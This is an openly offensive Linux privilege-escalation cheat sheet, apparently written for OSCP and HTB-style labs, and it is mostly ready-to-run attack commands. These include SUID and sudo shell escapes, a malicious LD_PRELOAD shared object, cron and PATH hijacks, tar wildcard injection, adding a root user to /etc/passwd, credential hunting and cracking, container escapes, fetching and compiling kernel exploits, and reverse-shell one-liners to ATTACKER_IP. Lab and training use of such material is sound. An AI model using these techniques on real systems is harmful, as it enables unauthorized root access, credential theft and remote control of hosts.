Overview
Linux privilege escalation is rarely about running one command and hoping for root. A reliable approach comes from working through the system in a sensible order: understand the host, understand the current user, check the fastest wins, and only then move into noisier or riskier techniques.
This reference is structured as a practical checklist for OSCP, HTB, Proving Grounds, and internal pentest-style labs. The goal is not to replace deeper enumeration, but to keep the common paths close at hand when you land on a Linux host and need to move from a low-privileged shell to root.
Recommended Check Order
Start with the checks that most often lead to quick wins, then work toward the more situational or risky paths.
| Phase | Area | Why it matters |
|---|---|---|
| 1 | System Enumeration | OS and kernel details immediately shape exploit candidates. |
| 2 | Current User & Context | Groups, sudo rights, and environment variables often reveal the first real path. |
| 3 | SUID / SGID Binaries | Misconfigured binaries can provide direct root shells through GTFOBins. |
| 4 | sudo -l | Sudo misconfigurations are one of the fastest privilege escalation wins. |
| 5 | Cron Jobs | Writable scripts executed by root can be trivial to abuse. |
| 6 | World-Writable Files & PATH | PATH hijacking, writable sensitive files, and library hijacking can be high impact. |
| 7 | Running Processes & Services | Root-owned processes and writable service configs can expose escalation paths. |
| 8 | Network Enumeration | Local-only services may expose admin panels, databases, or internal applications. |
| 9 | Password Hunting | Configs, history files, and environment variables often leak credentials. |
| 10 | Linux Capabilities | Dangerous capabilities such as cap_setuid+ep are easy to miss. |
| 11 | NFS / Mounted Shares | no_root_squash can allow SUID payloads to be written from the attacker machine. |
| 12 | Docker / Containers | Docker socket access or privileged containers can lead to host compromise. |
| 13 | Kernel Exploits | Noisy and unstable; use only after cleaner paths fail. |
System Enumeration
Start by identifying the distribution, kernel version, and architecture. This gives context for possible kernel vulnerabilities, package-specific issues, and architecture-dependent payloads.
cat /etc/os-release
cat /etc/issue
uname -a
uname -r
uname -m
arch
ls /etc/*-release
cat /etc/*-release
Automated Enumeration
Automated tools are useful because they quickly surface common issues and save time during labs. linPEAS is usually the first tool worth running, with pspy being especially useful when looking for cron jobs or recurring root processes.
curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash
bash /tmp/LinEnum.sh
chmod +x /tmp/pspy64
/tmp/pspy64
bash les.sh
Treat red and yellow findings from linPEAS as high-priority leads, but still verify them manually before exploiting anything destructive.
Filesystem Enumeration
SUID, SGID, writable directories, and recently modified files are often the quickest route to something exploitable.
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -perm /6000 -type f -ls 2>/dev/null
find / -writable -type d 2>/dev/null | grep -v proc
find / -perm -0002 -type f 2>/dev/null | grep -v proc
find / -nouser -o -nogroup 2>/dev/null
find / -mmin -10 2>/dev/null | grep -v proc
find / \( -name '*.conf' -o -name '*.bak' \) 2>/dev/null
Current User & Context
Before chasing exploits, understand exactly who you are and what access you already have.
id
whoami
groups
sudo -l
sudo --version
env
printenv
cat ~/.bash_history 2>/dev/null
cat ~/.zsh_history 2>/dev/null
ls -la ~/.ssh/
cat ~/.ssh/authorized_keys 2>/dev/null
ls /var/mail/
cat /var/mail/$USER 2>/dev/null
cat /etc/passwd | cut -d: -f1
cat /etc/passwd | grep -vE 'nologin|false'
ls -la /home/
lastlog
last
Run sudo -l early. A single allowed command with weak restrictions can often become root without needing any further enumeration.
SUID and SGID Binaries
SUID binaries execute with the permissions of the file owner. If a root-owned binary with SUID set allows command execution, file write, or shell escape behaviour, it can often be abused directly.
Finding SUID Binaries
find / -perm -u=s -type f 2>/dev/null | xargs ls -la
A useful habit is to compare unusual SUID binaries against a known-good baseline for the distribution.
find / -perm -4000 2>/dev/null | diff - /tmp/baseline.txt
Common GTFOBins Escapes
Check every unusual SUID binary against GTFOBins. These examples assume the binary itself has the SUID bit set.
| Binary | Example escape |
|---|---|
bash | ./bash -p |
find | find . -exec /bin/sh -p \; -quit |
vim / vi | vim -c ':!/bin/sh' |
python3 | python3 -c 'import os; os.execl("/bin/sh","sh","-p")' |
perl | perl -e 'exec "/bin/sh";' |
ruby | ruby -e 'exec "/bin/sh"' |
awk | awk 'BEGIN {system("/bin/sh")}' |
less / more | Run the pager, then use !sh inside it. |
env | env /bin/sh -p |
cp | cp /bin/bash /tmp/b && chmod +s /tmp/b && /tmp/b -p |
node | node -e 'require("child_process").spawn("/bin/sh",["-p"],{stdio:[0,1,2]})' |
php | php -r 'pcntl_exec("/bin/sh",["-p"]);' |
tar | tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh |
curl / wget | Read local files such as file:///etc/shadow if permissions allow it. |
openssl | Use it to read protected files where applicable. |
strace | strace -o /dev/null /bin/sh -p |
Sudo Misconfigurations
sudo -l shows what commands the current user can execute as another user, often root. When commands are allowed without a password, or environment variables are preserved unsafely, escalation may be immediate.
sudo -l
sudo -l pattern | Exploit idea |
|---|---|
(ALL) NOPASSWD: ALL | sudo /bin/bash |
(root) NOPASSWD: /usr/bin/find | sudo find . -exec /bin/sh \; -quit |
(root) NOPASSWD: /usr/bin/python* | sudo python3 -c 'import os; os.system("/bin/bash")' |
(root) NOPASSWD: /usr/bin/vim | sudo vim -c ':!/bin/bash' |
(root) NOPASSWD: /bin/chmod | sudo chmod +s /bin/bash && bash -p |
(root) NOPASSWD: /usr/bin/awk | sudo awk 'BEGIN {system("/bin/bash")}' |
(root) NOPASSWD: /usr/bin/less | sudo less /etc/passwd, then !bash inside the pager. |
(root) NOPASSWD: /usr/bin/tee | Append dangerous sudoers entries if file write is possible. |
LD_PRELOAD Abuse
If sudo -l shows env_keep+=LD_PRELOAD, a malicious shared object can be loaded into an allowed sudo binary.
Create evil.c:
#include <stdio.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash -p");
}
Compile it:
gcc -fPIC -shared -nostartfiles -o /tmp/pe.so evil.c
Run any allowed sudo binary with LD_PRELOAD set:
sudo LD_PRELOAD=/tmp/pe.so find
Cron Jobs
Cron jobs are valuable because scripts may run as root on a timer. If a root-executed script is writable, privilege escalation can be as simple as appending a command and waiting.
cat /etc/crontab
ls -la /etc/cron* /var/spool/cron/crontabs/ 2>/dev/null
cat /etc/cron.d/* 2>/dev/null
crontab -l
grep -i cron /var/log/syslog | tail -20
Use pspy to watch for hidden jobs and recurring processes:
/tmp/pspy64
Writable Cron Script
If /opt/backup.sh runs as root and is writable:
echo 'chmod +s /bin/bash' >> /opt/backup.sh
Wait for cron to run, then execute:
bash -p
PATH Hijacking via Cron
If a cron job uses a relative command such as backup, and the cron PATH includes a writable directory first, create a malicious executable with the expected name.
echo '#!/bin/bash
chmod +s /bin/bash' > /tmp/backup
chmod +x /tmp/backup
After cron executes it:
bash -p
Wildcard Injection with tar
If cron runs a command like this:
tar czf /backup/arch.tar.gz /var/www/html/*
Create malicious filenames that tar interprets as options.
echo '' > '/var/www/html/--checkpoint=1'
echo '' > '/var/www/html/--checkpoint-action=exec=sh shell.sh'
echo '#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /var/www/html/shell.sh
Writable Files and PATH Hijacking
Writable sensitive files, unsafe relative paths, and writable library paths can all lead to root if they are used by privileged processes.
Writable /etc/passwd
If /etc/passwd is writable, generate a password hash and append a root-equivalent user.
openssl passwd -1 -salt root hacked
echo 'root2:HASH_HERE:0:0:root:/root:/bin/bash' >> /etc/passwd
su root2
Use hacked as the password if you generated the hash with the example command above.
PATH Hijacking in SUID Binaries
If a SUID binary calls another program without using the full path, place a malicious executable earlier in PATH.
echo '#!/bin/bash
/bin/bash -p' > /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
./vulnerable_suid_binary
Shared Library Hijacking
Check which libraries a binary loads.
ldd /usr/local/bin/suid_binary
If a library path is writable, place a malicious shared object there.
static void inject() __attribute__((constructor));
void inject() { system("chmod +s /bin/bash"); }
Compile the library:
gcc -shared -fPIC -o /writable/libevil.so evil.c
Running Processes and Services
Services can expose local ports, writable configuration files, or root-owned execution paths.
ps aux
ps -ef
ps aux | grep root
ss -tlnup
netstat -tlnup 2>/dev/null
lsof -u root 2>/dev/null | grep -v proc
ls /etc/systemd/system/
ls /lib/systemd/system/
find /etc/systemd /lib/systemd -writable 2>/dev/null
docker ps 2>/dev/null
lxc list 2>/dev/null
dpkg -l 2>/dev/null
rpm -qa 2>/dev/null
Writable Systemd Service
If a service file such as /etc/systemd/system/vuln.service is writable, modify the ExecStart value to run a root command.
[Service]
ExecStart=/bin/bash -c 'chmod +s /bin/bash'
Reload and restart the service:
systemctl daemon-reload
systemctl restart vuln.service
bash -p
Network Enumeration
Once on a host, check for internal services that were not exposed externally. Local-only services can include databases, admin panels, development servers, or management APIs.
ip a
ifconfig -a
ip route
route -n
arp -a
cat /etc/resolv.conf
cat /etc/hosts
ss -tlnup | grep 127.0.0.1
iptables -L -n -v 2>/dev/null
Port Forwarding Internal Services
SSH reverse tunnel:
ssh -R 8080:127.0.0.1:8080 attacker@ATTACKER_IP
Chisel reverse tunnel:
./chisel server -p 9000 --reverse
On the target:
./chisel client ATTACKER_IP:9000 R:8080:127.0.0.1:8080
Password Hunting and Credentials
Credentials are often the link between low-privileged access and escalation. Search history files, environment variables, web configs, backups, and application directories.
cat ~/.bash_history ~/.zsh_history 2>/dev/null
cat /etc/shadow 2>/dev/null
find / -name 'id_rsa' -o -name 'id_ed25519' 2>/dev/null
grep -ri 'password\|passwd\|secret\|token' /etc/ 2>/dev/null | grep -v Binary
find /var/www -name '*.php' 2>/dev/null | xargs grep -i 'password' 2>/dev/null
find / -name 'wp-config.php' -o -name '.env' 2>/dev/null
strings /proc/*/environ 2>/dev/null | grep -i pass
env | grep -iE 'pass|key|token|secret'
find / -name '*.cred' -o -name '*.credentials' 2>/dev/null
find / -name '*.kdbx' -o -name '*.kdb' 2>/dev/null
If both /etc/passwd and /etc/shadow are readable, combine and crack them.
unshadow /etc/passwd /etc/shadow > h.txt
john h.txt --wordlist=rockyou.txt
Linux Capabilities
Linux capabilities can grant specific elevated privileges to binaries without setting SUID. Dangerous capabilities are often overlooked during enumeration.
getcap -r / 2>/dev/null
getcap /usr/bin/python3
| Capability | Binary | Abuse idea |
|---|---|---|
cap_setuid+ep | python3 | python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' |
cap_setuid+ep | perl | perl -e 'use POSIX; POSIX::setuid(0); exec "/bin/bash";' |
cap_setuid+ep | ruby | ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"' |
cap_dac_read_search | python3 | python3 -c 'print(open("/etc/shadow").read())' |
cap_net_raw | tcpdump | tcpdump -i eth0 -w /tmp/cap.pcap |
cap_fowner | any | Can help change file ownership or permissions. |
cap_sys_admin | any | Very broad attack surface; investigate carefully. |
NFS and no_root_squash
NFS exports with no_root_squash allow root on the attacker machine to write files as root on the share. This can be abused by copying a SUID bash binary to the mounted share.
Check exports locally:
cat /etc/exports
From the attacker machine, list exports:
showmount -e TARGET_IP
Mount the share:
mount -t nfs TARGET_IP:/share /tmp/nfs
If the export is configured with no_root_squash, copy a SUID bash binary as root on the attacker machine:
cp /bin/bash /tmp/nfs/bash
chmod +s /tmp/nfs/bash
Then execute it on the target:
/share/bash -p
Docker and Container Escapes
First determine whether the shell is inside a container or whether the current user can interact with Docker.
cat /proc/1/cgroup | grep docker
ls /.dockerenv
ls -la /var/run/docker.sock
id | grep docker
mount | grep -vE 'tmpfs|cgroup'
Docker Socket Escape
If the Docker socket is writable, mount the host filesystem into a container and chroot into it.
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Privileged Container Check
A container with broad capabilities may be privileged.
cat /proc/self/status | grep CapEff
A value such as 0000003fffffffff suggests a privileged container and should be investigated further.
Kernel Exploits
Kernel exploits are a last resort. They can crash the target, corrupt files, or behave unpredictably. Use them only when cleaner misconfigurations have been ruled out.
uname -a
searchsploit linux kernel DISTRO VERSION
| CVE | Name | Affected | Notes |
|---|---|---|---|
CVE-2021-4034 | PwnKit | polkit pkexec | Reliable on many Debian, Ubuntu, and RHEL systems. |
CVE-2021-3156 | Baron Samedit | sudo < 1.9.5p2 | Check with sudo --version. |
CVE-2022-0847 | DirtyPipe | Linux 5.8 to 5.16.11 | Can overwrite read-only files. |
CVE-2016-5195 | DirtyCow | Linux 2.6.22 to 4.8.3 | Older and riskier; may corrupt memory. |
CVE-2023-0386 | OverlayFS | Linux < 6.2 | FUSE and OverlayFS capability escalation. |
CVE-2019-13272 | ptrace scope | Linux < 5.1.17 | PTRACE_TRACEME privilege escalation. |
PwnKit
which pkexec
git clone https://github.com/berdav/CVE-2021-4034 /tmp/pwnkit
cd /tmp/pwnkit
make
./cve-2021-4034
DirtyPipe
uname -r
wget https://haxx.in/files/dirtypipez.c -O /tmp/dp.c
gcc /tmp/dp.c -o /tmp/dp
/tmp/dp /usr/bin/su
Shells, Stabilisation and File Transfer
Privilege escalation often requires moving files, catching shells, or stabilising a limited TTY.
Reverse Shell One-Liners
Bash TCP reverse shell:
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Bash UDP reverse shell:
bash -i >& /dev/udp/ATTACKER_IP/4444 0>&1
Netcat with -e:
nc -e /bin/sh ATTACKER_IP 4444
Netcat without -e:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 >/tmp/f
Python reverse shell:
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("ATTACKER_IP",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/sh")'
PHP reverse shell:
php -r '$s=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Socat full TTY shell:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444
Shell Stabilisation
Python PTY method:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Then press Ctrl+Z and run locally:
stty raw -echo; fg
Back in the shell:
export TERM=xterm
stty rows 50 cols 200
With rlwrap, start the listener like this before catching the shell:
rlwrap nc -lvnp 4444
File Transfer
Start a web server on the attacker machine:
python3 -m http.server 8080
Download with wget:
wget http://ATTACKER_IP:8080/file -O /tmp/file
Download with curl:
curl http://ATTACKER_IP:8080/file -o /tmp/file
Base64 transfer:
base64 -w0 file
Decode on the target:
echo 'STRING' | base64 -d > file
Netcat file transfer:
nc -lvnp 9999 > received_file
nc -q 0 ATTACKER_IP 9999 < file
SCP transfer:
scp user@target:/etc/shadow /tmp/shadow
Quick Reference
The fastest initial checks after landing on a Linux host are usually:
id
sudo -l
uname -a
cat /etc/os-release
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
ss -tlnup
cat ~/.bash_history 2>/dev/null
env | grep -iE 'pass|key|token|secret'
From there, choose the path based on evidence. Avoid jumping straight to kernel exploits unless the host has no cleaner misconfiguration to abuse.
Key Takeaways
Linux privilege escalation is about disciplined enumeration more than memorising individual exploits. Start with identity and sudo rights, then check high-impact filesystem issues such as SUID binaries, writable scripts, cron jobs, and capabilities. Credential hunting and local service enumeration often provide the next jump, while container escapes and kernel exploits should be reserved for situations where the evidence points clearly in that direction.